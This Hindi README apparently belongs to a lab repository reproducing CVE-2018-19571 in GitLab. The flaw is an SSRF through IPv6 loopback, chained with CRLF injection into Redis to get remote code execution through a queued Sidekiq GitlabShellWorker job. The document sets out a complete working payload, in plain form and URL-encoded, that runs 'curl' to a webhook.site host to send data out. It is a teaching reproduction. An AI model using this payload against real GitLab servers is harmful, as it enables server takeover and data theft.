
CVE-2018-19571 का प्रदर्शन: GitLab SSRF CVE
यह रिपॉजिटरी CVE-2018-19571 का पुनरुत्पादन है, और यह बताता है कि कैसे CRLF इंजेक्शन एक्सप्लॉइट के साथ मिलकर यह रिमोट कोड एक्जीक्यूशन (RCE) की ओर ले जा सकता है।
GitLab CE/EE, संस्करण 8.18 से 11.x तक 11.3.11 से पहले, 11.4 से 11.4.8 से पहले, और 11.5 से 11.5.1 से पहले, वेबहुक में SSRF भेद्यता के प्रति संवेदनशील हैं।
इस पुनरुत्पादन के लिए, हम एक संवेदनशील GitLab इमेज का उपयोग करेंगे, और इसे Docker Compose का उपयोग करके चलाएंगे।
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
लक्ष्य एक वेबहुक URL प्रदान करना है, जो संसाधित होने पर, Redis को एक पेलोड भेजेगा।
यह पेलोड, जो कतारबद्ध किया जाएगा, एक Sidekiq Job शामिल करेगा, जो निष्पादित होने पर मनमाना शेल कोड चलाएगा। हमारे मामले में, यह फ़्लैग मान को हमारे पास कॉपी कर लेगा।
हम पहले चरणों के माध्यम से चलेंगे, और फिर समझाएंगे कि इनमें से प्रत्येक चरण क्या करता है।
एक खाता बनाएं, या रूट खाते का उपयोग करके लॉगिन करें।
रूट पासवर्ड password होना चाहिए, जैसा कि फ़ाइल initial_root_password में निर्दिष्ट है, लेकिन कभी-कभी यह ठीक से लोड नहीं होता।
ऐसे मामलों में, आपको सीधे रूट खाते का पासवर्ड संशोधित करना होगा।
docker exec -it gitlab-ssrf_web_1 /bin/bash
# शेल के अंदर
gitlab-rails console
# कंसोल के अंदर
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
फिर, http://localhost:5080 पर जाएं और लॉगिन करें।

प्रोजेक्ट बनाने वाले पेज पर जाएं।
इसके बाद, http://localhost:5080/projects/new पर जाएं और Import project टैब पर क्लिक करें। आपको देखना चाहिए कि एक विकल्प है: Repo by URL। हम अपने SSRF हमले को करने के लिए इसका उपयोग करने जा रहे हैं।

फ़्लैग प्राप्त करने के लिए एक वेबहुक बनाएं।
https://webhook.site/ पर एक वेबहुक URL बनाएं।
निम्नलिखित पेलोड में वेबहुक URL बदलें:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
फिर अंत में, हम उपरोक्त को URL Encoder का उपयोग करके एन्कोड करते हैं। ध्यान दें कि हम केवल पेलोड (जिसमें शुरुआत में रिक्त स्थान और लाइन ब्रेक शामिल हैं) को एन्कोड करेंगे, पहली और अंतिम पंक्ति को नहीं। आपको CRLF का भी उपयोग करना होगा। अंत में, निम्नलिखित वर्णों, यदि कोई हों, को उनके संबंधित एन्कोडिंग से बदलें:
_: %5F.: %2E-: %2Dयदि उपरोक्त आपके लिए विफल हो रहा है, तो आपको आंतरिक सेवाओं के लिए आउटबाउंड अनुरोधों को सक्षम करने की आवश्यकता हो सकती है।

आप रूट के रूप में लॉग इन करने के बाद http://localhost:5080/admin/application_settings/network पर ऐसा कर सकते हैं।
हम इस हमले के लिए दो भेद्यताओं का शोषण कर रहे हैं। पहली भेद्यता SSRF है, जहां आंतरिक सेवाओं तक IPv6 के माध्यम से पहुंचा जा सकता है। आप GitLab समस्या पर अधिक जानकारी यहाँ देख सकते हैं: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242।
दूसरी भेद्यता यह है कि वेबहुक के लिए URL में लाइन ब्रेक की अनुमति थी।
ये दोनों मिलकर हमें वास्तव में आंतरिक सेवा को एक पेलोड पास करने की अनुमति देते हैं। इस मामले में, हम स्थानीय Redis सेवा को लक्षित कर रहे हैं।
हम जो पेलोड पास करते हैं, वह Redis कतार में एक नया जॉब कतारबद्ध करता है, और यह जॉब वास्तव में Sidekiq द्वारा प्रोसेस किया जाता है, जो Ruby on Rails के साथ काम करने वाला एक एसिंक्रोनस जॉब रनर है। हम विशेष रूप से GitlabShellWorker जॉब क्लास को लक्षित कर रहे हैं, जो हमें मनमाना कोड निष्पादित करने की अनुमति देता है।
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
इस प्रकार, open('| curl <URL HERE>').read को पास करके और इसे class_eval के साथ चलाकर, हम रिमोट कोड निष्पादन को ट्रिगर कर सकते हैं।
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(या आप बस इस ऊपर दिए गए पेलोड का उपयोग कर सकते हैं, और आउटपुट देखने के लिए https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ देखें)।

आपको देखना चाहिए कि वेबहुक पर एक GET अनुरोध किया गया था (और यह दोहराया जाएगा क्योंकि GitLab बार-बार रिपॉजिटरी लाने का प्रयास करता है)।
